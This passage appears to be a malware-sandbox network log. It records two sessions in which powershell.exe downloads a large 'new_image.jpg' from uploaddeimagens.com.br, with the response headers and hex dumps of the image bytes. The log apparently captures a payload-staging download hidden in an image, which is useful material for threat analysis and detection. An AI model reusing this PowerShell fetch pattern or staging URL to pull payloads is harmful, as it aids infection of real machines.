2024-05-01 06:37:51 UTC	1369	IN	Data Raw: f9 ce 8b 40 74 f1 23 89 4b 32 c8 64 7d de db 48 a3 f1 04 93 7e d8 8e af c5 f5 07 57 12 0d 39 d3 a6 e0 c4 b2 db 15 27 36 1e 09 5e 16 48 e4 65 0c 49 0d 60 70 47 b0 1d 7e a3 01 49 74 6b a9 8d 4e e2 50 a2 b6 d5 e4 1e 49 35 5c 59 f7 c6 84 70 a0 0c 23 0a 15 78 25 79 03 db 32 f4 11 eb 24 f1 a6 3a a9 e9 51 2f 62 31 0a 18 dd 0a ee 48 e4 e6 bc 8a ea db 55 0c 9c 85 36 68 55 e0 7c f3 ed 4a be 9b c4 d0 47 34 a5 5d 43 72 6a ba f1 9c 9a 8d 34 fa 38 fc e5 32 35 ed 0a 41 e0 9b 3d 47 3d b1 df b4 70 a6 a3 c7 e1 47 00 2f 93 7c 76 00 1e f9 e7 0a 9d 3e a4 84 2a c5 4d ab 29 b1 f0 fd 70 1c d6 68 d7 4a c1 96 65 65 6e 42 f3 78 a1 7d c7 36 f4 fe 1b 36 ae 17 d4 4f ea 91 d7 d0 a5 bf 13 76 24 df 18 b6 ab 45 14 5a 58 5c 3a ac db 03 32 96 14 dd 41 20 fc 0e 06 68 bb eb 43 0d 04 07 53 a8 Data Ascii: @t#K2d}H~W9'6^HeI`pG~ItkNPI5\Yp#x%y2$:Q/b1HU6hU\|JG4]Crj4825A=G=pG/\|v>*M)phJeenBx}66Ov$EZX\:2A hCS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49753	172.67.215.45	443	3632	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:37:53 UTC	100	OUT	GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1 Host: uploaddeimagens.com.br
2024-05-01 06:37:53 UTC	693	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 06:37:53 GMT Content-Type: image/jpeg Content-Length: 4198361 Connection: close Last-Modified: Tue, 23 Apr 2024 14:20:29 GMT ETag: "6627c3ad-400fd9" Cache-Control: max-age=2678400 CF-Cache-Status: HIT Age: 2480 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w5ezTtfRba0eEOMIYFJmeDBXgbxo2jQjUBlFjgSeidjk%2BBxvK6NyFbSyudIO90LRB2NuacFzk22%2FJjR7KqZH8yW1NdLDGcIgGMxP8hLTngi7VDouTTk38zSGDQgtNqXkPt3yENojfFKT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87cdc3fbc8083968-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 06:37:53 UTC	676	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 2e 54 7a 99 be b9 63 d3 ad 1c a9 63 d2 be b8 15 dc 4a 9b b5 f6 ac 1a 1d a4 90 41 f9 f5 cb 17 56 b0 39 f7 ca 11 67 70 34 3b e0 19 9c 70 c7 be 09 9c 37 21 fa 76 ca b3 a0 53 7e 9c 42 5d 62 23 10 87 76 03 6f 2e c3 b8 da df b6 25 36 bf 69 21 3f 35 c4 e6 d4 3c b6 49 a1 82 02 c7 4f ae 05 84 f2 4b 7e 6b b6 df 6c b3 6d d8 28 82 3d bb e5 42 9a ce a7 1c 91 81 c0 2a b0 a5 a3 84 2c 78 be bd b0 04 d9 e9 47 df 08 1e a8 55 9c 0b 96 35 c9 a1 92 08 f7 bf 86 50 9d c0 ae de bc 61 b4 da 79 27 72 91 45 b9 c2 ee da 18 02 c0 72 76 8e fc 5e 01 75 1a 59 74 e1 37 15 2a e0 30 75 e4 72 a0 d7 cf 9c 09 24 55 fe 78 f4 b2 09 9b ee cc 41 2d 0c 4f 19 ed b8 46 b6 39 f7 16 3e 75 99 c5 82 c6 49 5e 4f 1f 5e ff 00 96 05 67 d4 79 34 41 b2 d9 9a ee ce e5 9b 92 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e Data Ascii: .TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4ApC.
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 56 1e 41 ae 79 bf e9 81 0d e2 32 08 62 56 d4 c8 4a 93 bb 69 0a d5 db af e5 8d cb e2 41 e1 60 81 c1 b0 4b 3d 5f e4 3a e6 02 10 5f 8e a3 9e 98 fc 65 44 44 96 dc 6f f2 c0 d9 8b 58 da 88 99 c3 b2 81 01 02 8d 5b 7b e6 47 8a 4a 1a 18 d1 9e 47 7d c4 ee 77 0d fc ba 61 0b 95 87 ad 02 38 cc bf 25 9f 73 03 64 1b ac 0e 0a 5b 4a 38 24 86 e0 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a 93 2c 41 4f 51 96 d3 ea a5 88 6c 41 b9 79 b5 f7 c5 c0 06 ef 8e 31 dd 14 48 ee a0 3d 12 68 9c 06 fc 3f 4b 2e a7 54 b2 4d 4b 08 e4 82 78 61 ed 9b f3 6a 67 99 d7 c3 b4 11 24 6a 08 6b 56 ab 03 Data Ascii: VAy2bVJiA`K=_:_eDDoX[{GJG}wa8%sd[J8$cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 1b 1a b2 58 9b af 86 10 6a 83 70 c4 13 ef ed 88 ec 2c c7 a8 ac a9 47 57 ba 24 55 f1 81 a3 bd 9d 96 98 71 dc e5 5e 42 a5 bd 56 40 bf 86 2e 8c 01 50 7b e4 3b 30 6b 09 60 f0 6f a5 60 59 f5 4d d0 1b e2 f1 49 b5 74 a7 77 43 c5 e1 24 65 0a d4 45 8e c3 12 d8 b3 ab 2b 30 e3 9c 00 78 66 bb 4a 8d 2e 9f 4e 79 57 2c d6 73 45 75 8a 1b 69 60 2f a6 65 68 fc 3f 4f 0e b6 51 18 51 23 f2 79 ea 31 8d 58 8f 4f 0b 4f 35 05 41 ba fa 60 31 e2 1e 2d 16 82 07 9a 57 00 28 a0 3d ce 2b a3 f1 45 d4 e9 44 e2 c6 ee 68 e7 8b 79 e6 fb 53 e2 bb 01 2b a5 8b d4 07 be 7a b8 95 60 d3 ac 61 00 0a 28 01 df 00 fa 87 8e 68 Data Ascii: r7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+EDhyS+z`a(h
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: ca c8 48 50 a3 af 73 92 1d 11 95 63 62 c2 b9 b1 9d 2e 98 46 14 06 1e af a8 c1 24 65 25 00 b0 2a 7a 9f 86 06 ae 85 92 2a 49 4d b1 4a a0 2e af 17 d5 44 04 a0 d9 00 37 e1 be b8 7d 23 23 48 18 20 6d b6 07 6c 36 a5 d2 66 08 83 6d 0b 22 ba e0 05 bc 37 4c f1 79 82 46 16 bb af ad fc 30 6a 9a 78 d6 b7 a0 20 d9 2b b8 11 fa 63 62 24 8d 89 67 01 54 32 ed 63 d2 86 2a 1f ef 0e 5e 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c Data Ascii: HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF0jx +cb$gT2c*^8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 52 cc a5 76 d0 0c 4f 4b 61 78 1e 78 15 7e ab 7f 0c 63 4e 88 d2 84 31 17 b1 e9 50 c5 6b ea 30 22 c0 e2 f7 77 1d 86 71 90 af 73 7f 0c 0d 43 a1 a5 e3 4c a6 bb 89 5b 8f 9f a7 2a fa 22 bb 6f 4c b4 4d 7a 64 6a fa f1 8a c1 ac 9c cf 12 99 a6 71 b8 0d aa c6 cf 3d 33 d1 ce ea fa 56 31 a2 db 10 9c 80 6f ad 8a 3d aa ef 9c 0c 73 a0 43 75 a6 5a 06 8d cc c3 fa 67 2e 89 28 56 91 48 3d 0f 9a 48 fc eb 3d 01 82 3f 3b 72 a4 61 aa ba 00 55 7d 85 0e 9f 5c 21 86 c0 b0 a4 7b 0c 0f 3c 34 4a c7 8d 3a 90 3f fb 69 e3 ff 00 0e 17 4f e0 b3 4f 32 bc 5a 55 5e 6c 39 9d 97 69 1d 0f e1 eb 79 b8 23 8d 48 a2 01 ec 08 b1 92 0c 85 c9 f3 4d 8f 73 55 80 ac fe 0b 0e b3 c4 97 59 1c ac b2 ab 2b 48 cc cb 6a 55 46 d2 ab 55 46 8d df 4f 8f 4c c7 d4 e8 9b 4f 3e a4 69 b4 10 88 a1 6d c1 e6 9b a2 92 76 91 Data Ascii: RvOKaxx~cN1Pk0"wqsCL[*"oLMzdjq=3V1o=sCuZg.(VH=H=?;raU}\!{<4J:?iOO2ZU^l9iy#HMsUY+HjUFUFOLO>imv
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 2e fa 66 7b a3 f9 62 40 a4 5d 7e 2e fc 60 2f 1a a2 3f 24 93 54 4f 61 8e 2d 4a 9b 56 e9 7a d6 26 59 88 36 aa 2b db 0b 1f 99 15 6d e7 70 bc 03 c9 28 8d 76 ef 00 f4 e7 28 60 0a 81 81 52 b4 4f 18 35 2c 75 54 e8 38 e8 48 be d8 e8 53 3c 2c a3 69 da 3a 03 47 f2 c0 41 b6 ae 98 28 71 ea e0 93 db 20 c6 87 4c 44 64 b1 2d 74 3e 58 ab 02 ac 45 11 cf 7c 6b 46 76 ab 10 81 be 78 14 92 09 56 15 77 71 b7 b0 38 c4 53 9d 52 ac 12 c4 0a a8 fc 43 a8 c0 49 1c f3 7a c2 96 5f 61 db 02 92 3c 36 14 95 f7 b1 80 6d 62 69 90 a8 81 f7 7f 88 9c 8d 14 eb a7 9c 3b 0b 5e f8 23 0b ed 57 23 86 e9 83 e4 58 c0 f4 4f af 86 d9 1b a1 1b 94 fb 9c 04 3e 27 3c 5a 95 96 34 2c 3f 0f 1e f9 89 cd 8b c7 a1 98 a4 41 4a 85 fe 21 7d f0 0f ad f1 4d 6b 6b 19 98 b2 1b e1 7d b1 87 d3 cd a9 d3 2c f6 ca 7a 90 dd Data Ascii: .f{b@]~.`/?$TOa-JVz&Y6+mp(v(`RO5,uT8HS<,i:GA(q LDd-t>XE\|kFvxVwq8SRCIz_a<6mbi;^#W#XO>'<Z4,?AJ!}Mkk},z
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 1f 76 75 23 8f 4d 56 78 a0 db 5c 89 23 5d bd be 18 60 c1 e2 dc 63 5a 51 55 ef 81 e8 13 ed 54 52 b8 67 d3 35 06 21 42 f7 c7 f5 3f 6b f4 b0 e9 83 36 96 50 38 1c 1a 39 e4 21 7b e1 23 51 ec 79 eb 87 62 25 fd dc 88 ac 3b f2 70 37 0f da d8 1e 20 cb a5 9a 8f bb 62 69 f6 af 4b bd 80 d2 4a 0d f3 6d 99 4e a1 18 aa 00 54 76 ba c5 66 01 19 58 46 a0 9e 4d 1b c0 f4 9f fc 4d a0 59 96 63 a2 70 ed c7 5e 71 6d 5f da 5d 16 bb 4c d0 49 a3 93 67 00 8b eb 9e 73 57 aa 68 d3 7e d0 c7 b7 c3 07 0e a5 a7 87 70 00 71 c8 1e f8 1a de 1f e2 fa 0f 09 59 57 4d a1 98 96 3c 96 ec 31 98 be d6 69 8b 94 3a 47 51 d4 1b eb 98 7a 67 79 94 a1 b0 41 ac 60 e9 d5 c8 26 35 b5 e3 9e 30 35 9b ed 4c 09 3b 37 91 20 42 bd 3e 39 57 fb 53 a7 53 ea d3 48 54 fc 73 38 e9 8b 72 d1 aa a8 e3 ae 53 53 a5 49 23 08 Data Ascii: vu#MVx\#]`cZQUTRg5!B?k6P89!{#Qyb%;p7 biKJmNTvfXFMMYcp^qm_]LIgsWh~pqYWM<1i:GQzgyA`&505L;7 B>9WSSHTs8rSSI#
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 6d 8c cd d3 9f 6e 71 af 23 4f 2a 2a 19 ce e6 21 78 42 07 e7 8a 6a fc 36 18 23 94 09 98 95 e9 cf 5c 04 9d 56 48 91 90 b1 a5 a2 3f ae 5c b2 4a ea cb 1a 92 00 5a 51 db df 2f a3 d8 a4 ab 10 23 22 c9 ee 49 ed 97 45 58 dd bc b1 e9 e8 d6 3a 57 38 03 48 9b ce e1 c8 37 c5 71 58 cc 40 34 92 16 56 25 56 c1 39 29 13 cc cc c3 8d a6 f2 f2 b1 d8 52 36 05 82 d3 57 d3 00 0f 36 e7 24 a9 6d c4 d0 1c e0 52 17 2e c4 13 63 db 8e 31 85 d3 ee 89 5c 1d ac b6 4f be 2b 36 a9 a1 b5 04 97 ef 7d b0 08 b0 97 3d 79 5e a7 13 9d 97 7e e1 5b b2 3c d9 ca ef 2d 4a c6 b2 d3 45 12 51 56 bb 17 f5 c0 e8 b5 0c 7d 3b aa ba 1f 7c 31 d4 c8 06 ed a4 af 7a c4 95 77 72 38 af 86 30 db cb 14 2f 60 76 18 04 49 3c c5 52 b4 08 fc 40 fc f1 89 1b 69 da 2a ab af c7 12 89 1d 24 21 40 03 83 ce 16 42 e4 92 48 35 Data Ascii: mnq#O*!xBj6#\VH?\JZQ/#"IEX:W8H7qX@4V%V9)R6W6$mR.c1\O+6}=y^~[<-JEQV};\|1zwr80/`vI<R@i$!@BH5
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 23 89 4b 32 c8 64 7d de db 48 a3 f1 04 93 7e d8 8e af c5 f5 07 57 12 0d 39 d3 a6 e0 c4 b2 db 15 27 36 1e 09 5e 16 48 e4 65 0c 49 0d 60 70 47 b0 1d 7e a3 01 49 74 6b a9 8d 4e e2 50 a2 b6 d5 e4 1e 49 35 5c 59 f7 c6 84 70 a0 0c 23 0a 15 78 25 79 03 db 32 f4 11 eb 24 f1 a6 3a a9 e9 51 2f 62 31 0a 18 dd 0a ee 48 e4 e6 bc 8a ea db 55 0c 9c 85 36 68 55 e0 7c f3 ed 4a be 9b c4 d0 47 34 a5 5d 43 72 6a ba f1 9c 9a 8d 34 fa 38 fc e5 32 35 ed 0a 41 e0 9b 3d 47 3d b1 df b4 70 a6 a3 c7 e1 47 00 2f 93 7c 76 00 1e f9 e7 0a 9d 3e a4 84 2a c5 4d ab 29 b1 f0 fd 70 1c d6 68 d7 4a c1 96 65 65 6e 42 f3 78 a1 7d c7 36 f4 fe 1b 36 ae 17 d4 4f ea 91 d7 d0 a5 bf 13 76 24 df 18 b6 ab 45 14 5a 58 5c 3a ac db 03 32 96 14 dd 41 20 fc 0e 06 68 bb eb 43 0d 04 07 53 a8 8e 21 76 cc 16 c2 Data Ascii: #K2d}H~W9'6^HeI`pG~ItkNPI5\Yp#x%y2$:Q/b1HU6hU\|JG4]Crj4825A=G=pG/\|v>*M)phJeenBx}66Ov$EZX\:2A hCS!v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49752	172.67.215.45	443	1220	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:37:53 UTC	100	OUT	GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1 Host: uploaddeimagens.com.br
2024-05-01 06:37:53 UTC	696	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 06:37:53 GMT Content-Type: image/jpeg Content-Length: 4198361 Connection: close Last-Modified: Tue, 23 Apr 2024 14:20:29 GMT ETag: "6627c3ad-400fd9" Cache-Control: max-age=2678400 CF-Cache-Status: HIT Age: 2 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9a%2BtiRUV0YmW4kuR1AecBnUB3ZvLYHfHDNpT2ZUVdOn1LjZ6f1zfjdKuuTq%2BaiN%2B5RIIlxDAIMdaVTNZ6NyxzsVzlA53UfvH%2BtEybG47jq6oFmJXv0BA%2FNcCNCvtS7giEwApV1CuWvEt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87cdc3fc094c2d20-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 06:37:53 UTC	673	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 6f e1 95 2e 54 7a 99 be b9 63 d3 ad 1c a9 63 d2 be b8 15 dc 4a 9b b5 f6 ac 1a 1d a4 90 41 f9 f5 cb 17 56 b0 39 f7 ca 11 67 70 34 3b e0 19 9c 70 c7 be 09 9c 37 21 fa 76 ca b3 a0 53 7e 9c 42 5d 62 23 10 87 76 03 6f 2e c3 b8 da df b6 25 36 bf 69 21 3f 35 c4 e6 d4 3c b6 49 a1 82 02 c7 4f ae 05 84 f2 4b 7e 6b b6 df 6c b3 6d d8 28 82 3d bb e5 42 9a ce a7 1c 91 81 c0 2a b0 a5 a3 84 2c 78 be bd b0 04 d9 e9 47 df 08 1e a8 55 9c 0b 96 35 c9 a1 92 08 f7 bf 86 50 9d c0 ae de bc 61 b4 da 79 27 72 91 45 b9 c2 ee da 18 02 c0 72 76 8e fc 5e 01 75 1a 59 74 e1 37 15 2a e0 30 75 e4 72 a0 d7 cf 9c 09 24 55 fe 78 f4 b2 09 9b ee cc 41 2d 0c 4f 19 ed b8 46 b6 39 f7 16 3e 75 99 c5 82 c6 49 5e 4f 1f 5e ff 00 96 05 67 d4 79 34 41 b2 d9 9a ee ce e5 9b 92 70 9b 99 a5 de dc d9 e7 e1 Data Ascii: o.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4Ap
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: d9 87 25 56 1e 41 ae 79 bf e9 81 0d e2 32 08 62 56 d4 c8 4a 93 bb 69 0a d5 db af e5 8d cb e2 41 e1 60 81 c1 b0 4b 3d 5f e4 3a e6 02 10 5f 8e a3 9e 98 fc 65 44 44 96 dc 6f f2 c0 d9 8b 58 da 88 99 c3 b2 81 01 02 8d 5b 7b e6 47 8a 4a 1a 18 d1 9e 47 7d c4 ee 77 0d fc ba 61 0b 95 87 ad 02 38 cc bf 25 9f 73 03 64 1b ac 0e 0a 5b 4a 38 24 86 e0 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a 93 2c 41 4f 51 96 d3 ea a5 88 6c 41 b9 79 b5 f7 c5 c0 06 ef 8e 31 dd 14 48 ee a0 3d 12 68 9c 06 fc 3f 4b 2e a7 54 b2 4d 4b 08 e4 82 78 61 ed 9b f3 6a 67 99 d7 c3 b4 11 24 6a 08 6b Data Ascii: %VAy2bVJiA`K=_:_eDDoX[{GJG}wa8%sd[J8$cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jk
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 1b 1a b2 58 9b af 86 10 6a 83 70 c4 13 ef ed 88 ec 2c c7 a8 ac a9 47 57 ba 24 55 f1 81 a3 bd 9d 96 98 71 dc e5 5e 42 a5 bd 56 40 bf 86 2e 8c 01 50 7b e4 3b 30 6b 09 60 f0 6f a5 60 59 f5 4d d0 1b e2 f1 49 b5 74 a7 77 43 c5 e1 24 65 0a d4 45 8e c3 12 d8 b3 ab 2b 30 e3 9c 00 78 66 bb 4a 8d 2e 9f 4e 79 57 2c d6 73 45 75 8a 1b 69 60 2f a6 65 68 fc 3f 4f 0e b6 51 18 51 23 f2 79 ea 31 8d 58 8f 4f 0b 4f 35 05 41 ba fa 60 31 e2 1e 2d 16 82 07 9a 57 00 28 a0 3d ce 2b a3 f1 45 d4 e9 44 e2 c6 ee 68 e7 8b 79 e6 fb 53 e2 bb 01 2b a5 8b d4 07 be 7a b8 95 60 d3 ac 61 00 0a 28 01 df 00 fa Data Ascii: Tr7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+EDhyS+z`a(
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 03 32 f9 ca c8 48 50 a3 af 73 92 1d 11 95 63 62 c2 b9 b1 9d 2e 98 46 14 06 1e af a8 c1 24 65 25 00 b0 2a 7a 9f 86 06 ae 85 92 2a 49 4d b1 4a a0 2e af 17 d5 44 04 a0 d9 00 37 e1 be b8 7d 23 23 48 18 20 6d b6 07 6c 36 a5 d2 66 08 83 6d 0b 22 ba e0 05 bc 37 4c f1 79 82 46 16 bb af ad fc 30 6a 9a 78 d6 b7 a0 20 d9 2b b8 11 fa 63 62 24 8d 89 67 01 54 32 ed 63 d2 86 2a 1f ef 0e 5e 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 Data Ascii: 2HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF0jx +cb$gT2c*^8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 1a 3c a4 52 cc a5 76 d0 0c 4f 4b 61 78 1e 78 15 7e ab 7f 0c 63 4e 88 d2 84 31 17 b1 e9 50 c5 6b ea 30 22 c0 e2 f7 77 1d 86 71 90 af 73 7f 0c 0d 43 a1 a5 e3 4c a6 bb 89 5b 8f 9f a7 2a fa 22 bb 6f 4c b4 4d 7a 64 6a fa f1 8a c1 ac 9c cf 12 99 a6 71 b8 0d aa c6 cf 3d 33 d1 ce ea fa 56 31 a2 db 10 9c 80 6f ad 8a 3d aa ef 9c 0c 73 a0 43 75 a6 5a 06 8d cc c3 fa 67 2e 89 28 56 91 48 3d 0f 9a 48 fc eb 3d 01 82 3f 3b 72 a4 61 aa ba 00 55 7d 85 0e 9f 5c 21 86 c0 b0 a4 7b 0c 0f 3c 34 4a c7 8d 3a 90 3f fb 69 e3 ff 00 0e 17 4f e0 b3 4f 32 bc 5a 55 5e 6c 39 9d 97 69 1d 0f e1 eb 79 b8 23 8d 48 a2 01 ec 08 b1 92 0c 85 c9 f3 4d 8f 73 55 80 ac fe 0b 0e b3 c4 97 59 1c ac b2 ab 2b 48 cc cb 6a 55 46 d2 ab 55 46 8d df 4f 8f 4c c7 d4 e8 9b 4f 3e a4 69 b4 10 88 a1 6d c1 e6 9b a2 Data Ascii: <RvOKaxx~cN1Pk0"wqsCL[*"oLMzdjq=3V1o=sCuZg.(VH=H=?;raU}\!{<4J:?iOO2ZU^l9iy#HMsUY+HjUFUFOLO>im
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 01 54 90 2e fa 66 7b a3 f9 62 40 a4 5d 7e 2e fc 60 2f 1a a2 3f 24 93 54 4f 61 8e 2d 4a 9b 56 e9 7a d6 26 59 88 36 aa 2b db 0b 1f 99 15 6d e7 70 bc 03 c9 28 8d 76 ef 00 f4 e7 28 60 0a 81 81 52 b4 4f 18 35 2c 75 54 e8 38 e8 48 be d8 e8 53 3c 2c a3 69 da 3a 03 47 f2 c0 41 b6 ae 98 28 71 ea e0 93 db 20 c6 87 4c 44 64 b1 2d 74 3e 58 ab 02 ac 45 11 cf 7c 6b 46 76 ab 10 81 be 78 14 92 09 56 15 77 71 b7 b0 38 c4 53 9d 52 ac 12 c4 0a a8 fc 43 a8 c0 49 1c f3 7a c2 96 5f 61 db 02 92 3c 36 14 95 f7 b1 80 6d 62 69 90 a8 81 f7 7f 88 9c 8d 14 eb a7 9c 3b 0b 5e f8 23 0b ed 57 23 86 e9 83 e4 58 c0 f4 4f af 86 d9 1b a1 1b 94 fb 9c 04 3e 27 3c 5a 95 96 34 2c 3f 0f 1e f9 89 cd 8b c7 a1 98 a4 41 4a 85 fe 21 7d f0 0f ad f1 4d 6b 6b 19 98 b2 1b e1 7d b1 87 d3 cd a9 d3 2c f6 ca Data Ascii: T.f{b@]~.`/?$TOa-JVz&Y6+mp(v(`RO5,uT8HS<,i:GA(q LDd-t>XE\|kFvxVwq8SRCIz_a<6mbi;^#W#XO>'<Z4,?AJ!}Mkk},
